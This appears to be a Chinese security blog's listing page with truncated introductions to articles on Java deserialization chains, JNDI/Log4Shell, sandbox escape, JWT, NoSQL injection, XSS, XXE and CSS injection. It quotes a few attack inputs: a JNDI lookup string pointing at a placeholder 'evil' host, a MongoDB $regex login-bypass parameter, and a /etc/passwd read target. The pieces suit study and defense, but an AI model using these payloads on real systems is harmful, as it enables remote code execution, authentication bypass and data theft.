Commons Collections 反序列化利用链大全——从 CC1 到 CC7 全覆盖
前言Commons Collections(以下简称 CC)是 Apache 开源的 Java 集合操作库,广泛应用于各类 Java 项目。在 2015 年 FoxGlove Security 的安全研究爆出后,Commons Collections 反序列化漏洞成为 Java 安全史上的一个里程碑——它直接催生了 Ysoserial 项目,也推动了 JEP 290 反序列化过滤机制的落地。 从安全研究的视角看,CC 链的本质思路是:寻找一条从 readObject() 入口到危险 sink(Runtime.exec、TemplatesImpl 字节码加载、JNDI 注入)的完整调用路径。Ysoserial 的作者 @frohoff 和 @gebl 先后发现了 CC1 到 CC7 共七条利用链,外加依赖 Commons BeanUtils 的 CB 链,本文将逐一覆盖。 CC 版本与 JDK 版本总览: 版本 Commons Collections 关键差异 3.x 主流链 3.1 ~ 3.2.2 InvokerTransformer 等 transform 类存在,...
JNDI 注入与 RMI 攻击专题——从远程类加载到 Log4Shell 前传
前言JNDI(Java Naming and Directory Interface)是 Java 平台提供的一层统一目录服务接口。它抽象了底层具体实现的差异,使开发者可以用同一套 API 去访问 RMI、LDAP、DNS、CORBA 等不同的命名与目录服务。这也是问题的起点:JNDI 只定义接口,不限制实现;攻击者若能控制 lookup 的参数,便可在客户端执行远程类加载,让目标 JVM 下载并执行恶意字节码。 这种攻击模式贯穿了近几年 Java 安全的经典事件——Fastjson 的 JNDI 反序列化链、Jackson 的 JNDI 注入、以及最终引爆整个生态的 Log4Shell(Log4j2 JNDI lookup)。Log4Shell 本质上就是 JNDI 注入的终极形态:日志消息里埋一个 ${jndi:ldap://evil/Exploit},日志框架在处理时触发 lookup,进而加载远程恶意类并执行。因此在深入 Log4Shell 之前,有必要把 JNDI 注入和 RMI 攻击的前置知识梳理清楚。 本文将从 RMI 基础讲起,逐步展开 RMI...
Java 序列化机制深度追踪——从 writeObject 到反序列化漏洞
前言Java 序列化是将对象状态转换为字节流的过程,反序列化则是从字节流重建对象。这两个过程是 Java RMI、JMX、JNDI 等分布式通信的基石,也是 Java 安全史上最严重的一类漏洞的根源。 2015 年 FoxGlove Security 公开的 WebLogic 反序列化漏洞(CVE-2015-4852)标志着 Java 反序列化攻击进入公众视野。此后,ysoserial 工具集的出现将这一攻击模式系统化,Spring、Shiro、Fastjson、Jackson 等主流框架无一幸免。 理解 Java 序列化的底层实现——ObjectOutputStream 和 ObjectInputStream 的内部调用链——是理解反序列化漏洞利用(Gadget Chain)的前提。本文从 JDK 源码级别追踪完整的序列化与反序列化流程,覆盖 writeObject/readObject、Externalizable、transient/static 行为、serialVersionUID、writeReplace/readResolve 以及 O...
Java URL DNS 反序列化利用链——从原理到检测
前言Java 反序列化漏洞的利用通常依赖精心构造的 gadget chain(利用链)。在实战中,红队面临的首要问题往往不是”怎么拿 shell”,而是——目标到底有没有反序列化漏洞?URL DNS 这条利用链是 ysoserial 中最短、最通用的一条,它不执行命令、不写文件,只做一件事:触发一次 DNS 查询。正因如此,它是检测反序列化漏洞是否存在的最佳探针。 整条链的核心调用路径只有五步: 1HashMap.put() -> hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> getHostAddress() 下面我们从源码级逐层追踪这条链,理清每个环节的逻辑,然后给出完整的 POC 和实战用法。 调用链完整追踪起点:HashMap.put()HashMap 实现了 Serializable 接口,其 readObject() 方法在反序列化时会重建 map,对每个 entry 调用 putVal(),而 putVal() 内部会先对 key 做一次 hash(): 1234// H...
Node.js VM 沙箱逃逸完全指南——从 vm 模块到 vm2 全线突破
前言JavaScript 的沙箱(Sandbox)技术一直是服务端安全的关键议题。在 Node.js 生态中,常见的沙箱方案包括原生 vm 模块、vm2 库,以及更现代的 isolated-vm。 Node.js 官方文档明确警告:**”The vm module is not a security mechanism. Do not use it to run untrusted code.”**——vm 模块不是安全机制,不要用它运行不受信任的代码。 vm 和 vm2 的关键区别在于: vm 模块:Node.js 内置,在同一 V8 隔离区(Isolate)内创建上下文,通过作用域隔离实现沙箱。由于共享同一个 V8 Isolate,攻击者一旦拿到全局 Function 构造函数即可逃逸。 vm2:第三方库,在 vm 之上增加了多层安全校验(白名单、代理拦截、属性访问控制等),试图通过”层层加锁”的方式堵住逃逸路径。但历史证明,大多数版本仍存在可被绕过的漏洞。 本文将从 vm 模块基础讲起,逐步递进到 Object.create(null) 绕过技巧,最终汇总 vm2 的 ...
JWT 攻击专题大全——从算法混淆到密钥泄露全覆盖
前言JWT(JSON Web Token)是现代 Web 应用中最广泛使用的无状态认证方案。它由三部分组成——Header、Payload、Signature,通过 Base64URL 编码后用 . 连接。服务器验证签名即可确认 Token 未被篡改。 JWT 的安全问题集中在三个环节: 算法层面——alg:none 跳过验证、RS256→HS256 密钥混淆 密钥层面——弱密钥被爆破、私钥/公钥泄露 Header 注入——jku/jwk/kid 参数被利用 本文从 JWT 结构讲起,按照攻击类型系统整理了 7 大类攻击手法,覆盖从经典的 alg:none 到高级的 kid SQL 注入,并附完整的工具链和防御方案。 一、JWT 基础1.1 结构12eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c│────── header ──────│────── payload ──────│─────────── signatu...
NoSQL 注入攻击专题——从 MongoDB 操作符到盲注全覆盖
前言NoSQL 注入(NoSQL Injection)是 SQL 注入在 NoSQL 数据库(MongoDB、CouchDB、Redis 等)中的类比。与 SQL 注入不同的是,NoSQL 攻击通常不是通过拼接查询字符串,而是利用应用层将用户输入直接作为查询操作符传入数据库。 核心原理: 1234用户传入 username[$regex]=.* → PHP 将参数解析为数组 → 查询变成 {"username": {"$regex": ".*"}} → MongoDB 执行正则匹配 → 绕过认证 / 泄露数据 和 SQL 注入的关键区别: SQL 注入 NoSQL 注入 注入点 SQL 字符串拼接 JSON/BSON 操作符注入 攻击目标 闭合引号、构造 UNION、堆叠查询 注入 $regex、$ne、$where 等操作符 盲注方式 SUBSTR + 二分法 $regex + 逐字符匹配 / $where + 时间延...
XSS 攻击专题大全——从基础 Payload 到 CSP 绕过全覆盖
前言XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 安全中最经典、最普遍的漏洞之一。攻击者将恶意脚本注入目标页面,在受害者浏览器中执行,从而窃取 Cookie、劫持会话、篡改页面内容、发起 CSRF 请求,甚至配合其他漏洞实现完整的账户接管。 XSS 的三种类型: 类型 触发方式 持久性 典型场景 反射型 (Reflected) 用户点击恶意链接,参数立即执行 一次性 搜索框、错误提示中 echo 用户输入 存储型 (Stored) 恶意代码存入数据库,所有访问者触发 持久 留言板、评论、用户资料 DOM 型 (DOM-based) JS 取 URL 参数写入 innerHTML,不经过服务端 取决于来源 location.hash、document.write 本文从基础 Payload 开始,按 HTML 标签分类整理了十余种 XSS 触发方式,然后逐层深入 WAF 绕过、编码技巧、CSP 绕过、DOM Clobbering、Service Worker 劫持等进阶手法,最后给出自动化工具和防御方案。 一、基础 Paylo...
XXE 攻击专题——从实体注入到盲打外带全覆盖
前言XXE(XML External Entity,XML 外部实体注入)是一种针对 XML 解析器的攻击手法。当应用程序解析用户可控的 XML 输入时,如果解析器未禁用外部实体,攻击者可以利用 DTD 声明中的外部实体读取服务器文件、发起 SSRF 请求、执行拒绝服务攻击,甚至在某些条件下实现远程代码执行。 核心危害: 文件读取:file:///etc/passwd、php://filter 读取源码 SSRF:通过外部实体向内部系统发起 HTTP 请求 端口扫描:利用响应时间或错误信息探测内网开放端口 拒绝服务:Billion Laughs 攻击耗尽服务器内存 RCE(罕见):配合 expect:// 或特定环境(如 PHP except 模块) 本文从 XML/DTD 基础讲起,按有回显、无回显、报错注入、绕过变形四大类整理了十余种 payload,覆盖 file://、php://、expect://、gopher://、jar:// 等多种协议利用,以及 SVG、DOCX、SOAP 等常见 XXE 载体。 一、XML 与 DTD 基础1.1 什么是 XM...
CSS 注入攻击专题——从属性选择器到无感数据窃取
前言CSS Injection(CSS 注入)是一种常被低估的 Web 攻击手法。当页面允许用户控制 CSS 内容(如 <style> 标签内容或 css 查询参数直接拼接进样式块),攻击者可以利用 CSS 属性选择器 + background: url() 的组合,将页面中的敏感数据(CSRF Token、用户 ID、页面内容等)逐字符发送到外部服务器。 核心优势: 不需要执行 JavaScript(绕过 CSP script-src) 不需要页面有回显(数据通过浏览器发起的 HTTP 请求外带) 属性选择器在 input[value] 上直接生效,无需 JS 读写 DOM 典型攻击场景: 页面 CSS 参数可控(如自定义主题颜色拼接进了 <style>) 目标数据嵌入在 input[value]、meta[content]、自定义属性中 CSP 禁用了 inline script 但没有限制 img-src 或 connect-src 本文从 CSS 属性选择器基础讲起,拆解逐字符爆破 CSRF Token 的完整攻击链,并给出两种实际可用的 ...